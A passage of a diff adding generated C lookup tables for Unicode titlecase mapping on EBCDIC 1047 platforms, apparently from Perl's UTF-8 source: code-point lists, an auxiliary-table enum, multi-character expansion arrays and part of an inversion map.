+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	TC_0 = 0,
+	TC_use_AUX_TABLE_1 = -1,
+	TC_use_AUX_TABLE_2 = -2,
+	TC_use_AUX_TABLE_3 = -3,
+	TC_use_AUX_TABLE_4 = -4,
+	TC_use_AUX_TABLE_5 = -5,
+	TC_use_AUX_TABLE_6 = -6,
+	TC_use_AUX_TABLE_7 = -7,
+	TC_use_AUX_TABLE_8 = -8,
+	TC_use_AUX_TABLE_9 = -9,
+	TC_use_AUX_TABLE_10 = -10,
+	TC_use_AUX_TABLE_11 = -11,
+	TC_use_AUX_TABLE_12 = -12,
+	TC_use_AUX_TABLE_13 = -13,
+	TC_use_AUX_TABLE_14 = -14,
+	TC_use_AUX_TABLE_15 = -15,
+	TC_use_AUX_TABLE_16 = -16,
+	TC_use_AUX_TABLE_17 = -17,
+	TC_use_AUX_TABLE_18 = -18,
+	TC_use_AUX_TABLE_19 = -19,
+	TC_use_AUX_TABLE_20 = -20,
+	TC_use_AUX_TABLE_21 = -21,
+	TC_use_AUX_TABLE_22 = -22,
+	TC_use_AUX_TABLE_23 = -23,
+	TC_use_AUX_TABLE_24 = -24,
+	TC_use_AUX_TABLE_25 = -25,
+	TC_use_AUX_TABLE_26 = -26,
+	TC_use_AUX_TABLE_27 = -27,
+	TC_use_AUX_TABLE_28 = -28,
+	TC_use_AUX_TABLE_29 = -29,
+	TC_use_AUX_TABLE_30 = -30,
+	TC_use_AUX_TABLE_31 = -31,
+	TC_use_AUX_TABLE_32 = -32,
+	TC_use_AUX_TABLE_33 = -33,
+	TC_use_AUX_TABLE_34 = -34,
+	TC_use_AUX_TABLE_35 = -35,
+	TC_use_AUX_TABLE_36 = -36,
+	TC_use_AUX_TABLE_37 = -37,
+	TC_use_AUX_TABLE_38 = -38,
+	TC_use_AUX_TABLE_39 = -39,
+	TC_use_AUX_TABLE_40 = -40,
+	TC_use_AUX_TABLE_41 = -41,
+	TC_use_AUX_TABLE_42 = -42,
+	TC_use_AUX_TABLE_43 = -43,
+	TC_use_AUX_TABLE_44 = -44,
+	TC_use_AUX_TABLE_45 = -45
+} TC_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_TC_AUX_TABLES
+
+static const unsigned int TC_AUX_TABLE_1[] = {
+	0xE2,
+	0xA2
+};
+
+static const unsigned int TC_AUX_TABLE_2[] = {
+	0x2BC,
+	0xD5
+};
+
+static const unsigned int TC_AUX_TABLE_3[] = {
+	0xD1,
+	0x30C
+};
+
+static const unsigned int TC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_6[] = {
+	0x535,
+	0x582
+};
+
+static const unsigned int TC_AUX_TABLE_7[] = {
+	0xC8,
+	0x331
+};
+
+static const unsigned int TC_AUX_TABLE_8[] = {
+	0xE3,
+	0x308
+};
+
+static const unsigned int TC_AUX_TABLE_9[] = {
+	0xE6,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_10[] = {
+	0xE8,
+	0x30A
+};
+
+static const unsigned int TC_AUX_TABLE_11[] = {
+	0xC1,
+	0x2BE
+};
+
+static const unsigned int TC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int TC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_16[] = {
+	0x1FBA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_17[] = {
+	0x386,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_18[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_19[] = {
+	0x391,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_20[] = {
+	0x1FCA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_21[] = {
+	0x389,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_22[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_23[] = {
+	0x397,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_24[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_25[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_26[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_27[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int TC_AUX_TABLE_28[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int TC_AUX_TABLE_29[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_30[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_31[] = {
+	0x1FFA,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_32[] = {
+	0x38F,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_33[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int TC_AUX_TABLE_34[] = {
+	0x3A9,
+	0x342,
+	0x345
+};
+
+static const unsigned int TC_AUX_TABLE_35[] = {
+	0xC6,
+	0x86
+};
+
+static const unsigned int TC_AUX_TABLE_36[] = {
+	0xC6,
+	0x89
+};
+
+static const unsigned int TC_AUX_TABLE_37[] = {
+	0xC6,
+	0x93
+};
+
+static const unsigned int TC_AUX_TABLE_38[] = {
+	0xC6,
+	0x86,
+	0x89
+};
+
+static const unsigned int TC_AUX_TABLE_39[] = {
+	0xC6,
+	0x86,
+	0x93
+};
+
+static const unsigned int TC_AUX_TABLE_40[] = {
+	0xE2,
+	0xA3
+};
+
+static const unsigned int TC_AUX_TABLE_41[] = {
+	0x544,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_42[] = {
+	0x544,
+	0x565
+};
+
+static const unsigned int TC_AUX_TABLE_43[] = {
+	0x544,
+	0x56B
+};
+
+static const unsigned int TC_AUX_TABLE_44[] = {
+	0x54E,
+	0x576
+};
+
+static const unsigned int TC_AUX_TABLE_45[] = {
+	0x544,
+	0x56D
+};
+
+static const unsigned int * const TC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	TC_AUX_TABLE_1,
+	TC_AUX_TABLE_2,
+	TC_AUX_TABLE_3,
+	TC_AUX_TABLE_4,
+	TC_AUX_TABLE_5,
+	TC_AUX_TABLE_6,
+	TC_AUX_TABLE_7,
+	TC_AUX_TABLE_8,
+	TC_AUX_TABLE_9,
+	TC_AUX_TABLE_10,
+	TC_AUX_TABLE_11,
+	TC_AUX_TABLE_12,
+	TC_AUX_TABLE_13,
+	TC_AUX_TABLE_14,
+	TC_AUX_TABLE_15,
+	TC_AUX_TABLE_16,
+	TC_AUX_TABLE_17,
+	TC_AUX_TABLE_18,
+	TC_AUX_TABLE_19,
+	TC_AUX_TABLE_20,
+	TC_AUX_TABLE_21,
+	TC_AUX_TABLE_22,
+	TC_AUX_TABLE_23,
+	TC_AUX_TABLE_24,
+	TC_AUX_TABLE_25,
+	TC_AUX_TABLE_26,
+	TC_AUX_TABLE_27,
+	TC_AUX_TABLE_28,
+	TC_AUX_TABLE_29,
+	TC_AUX_TABLE_30,
+	TC_AUX_TABLE_31,
+	TC_AUX_TABLE_32,
+	TC_AUX_TABLE_33,
+	TC_AUX_TABLE_34,
+	TC_AUX_TABLE_35,
+	TC_AUX_TABLE_36,
+	TC_AUX_TABLE_37,
+	TC_AUX_TABLE_38,
+	TC_AUX_TABLE_39,
+	TC_AUX_TABLE_40,
+	TC_AUX_TABLE_41,
+	TC_AUX_TABLE_42,
+	TC_AUX_TABLE_43,
+	TC_AUX_TABLE_44,
+	TC_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 TC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* TC_AUX_TABLE_1 */,
+	2	/* TC_AUX_TABLE_2 */,
+	2	/* TC_AUX_TABLE_3 */,
+	3	/* TC_AUX_TABLE_4 */,
+	3	/* TC_AUX_TABLE_5 */,
+	2	/* TC_AUX_TABLE_6 */,
+	2	/* TC_AUX_TABLE_7 */,
+	2	/* TC_AUX_TABLE_8 */,
+	2	/* TC_AUX_TABLE_9 */,
+	2	/* TC_AUX_TABLE_10 */,
+	2	/* TC_AUX_TABLE_11 */,
+	2	/* TC_AUX_TABLE_12 */,
+	3	/* TC_AUX_TABLE_13 */,
+	3	/* TC_AUX_TABLE_14 */,
+	3	/* TC_AUX_TABLE_15 */,
+	2	/* TC_AUX_TABLE_16 */,
+	2	/* TC_AUX_TABLE_17 */,
+	2	/* TC_AUX_TABLE_18 */,
+	3	/* TC_AUX_TABLE_19 */,
+	2	/* TC_AUX_TABLE_20 */,
+	2	/* TC_AUX_TABLE_21 */,
+	2	/* TC_AUX_TABLE_22 */,
+	3	/* TC_AUX_TABLE_23 */,
+	3	/* TC_AUX_TABLE_24 */,
+	2	/* TC_AUX_TABLE_25 */,
+	3	/* TC_AUX_TABLE_26 */,
+	3	/* TC_AUX_TABLE_27 */,
+	2	/* TC_AUX_TABLE_28 */,
+	2	/* TC_AUX_TABLE_29 */,
+	3	/* TC_AUX_TABLE_30 */,
+	2	/* TC_AUX_TABLE_31 */,
+	2	/* TC_AUX_TABLE_32 */,
+	2	/* TC_AUX_TABLE_33 */,
+	3	/* TC_AUX_TABLE_34 */,
+	2	/* TC_AUX_TABLE_35 */,
+	2	/* TC_AUX_TABLE_36 */,
+	2	/* TC_AUX_TABLE_37 */,
+	3	/* TC_AUX_TABLE_38 */,
+	3	/* TC_AUX_TABLE_39 */,
+	2	/* TC_AUX_TABLE_40 */,
+	2	/* TC_AUX_TABLE_41 */,
+	2	/* TC_AUX_TABLE_42 */,
+	2	/* TC_AUX_TABLE_43 */,
+	2	/* TC_AUX_TABLE_44 */,
+	2	/* TC_AUX_TABLE_45 */
+};
+
+static const int Titlecase_Mapping_invmap[] = { /* for EBCDIC 1047 */
+	0,
+	0x62,
+	0,
+	0x71,
+	TC_use_AUX_TABLE_1,
+	0,
+	0x80,
+	0,
+	0xC1,
+	0,
+	0xAC,
+	0xBA,
+	0xAE,
+	0,
+	0xD1,
+	0,
+	0x9E,
+	0,
+	0x39C,
+	0,
+	0xE2,
+	0,
+	0xEB,
+	0,
+	0xFB,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0xC9,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	TC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0xE2,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C5,
+	0,
+	0x1C5,
+	0x1C8,
+	0,
+	0x1C8,
+	0x1CB,
+	0,
+	0x1CB,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	TC_use_AUX_TABLE_3,
+	0x1F2,
+	0,
+	0x1F2,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
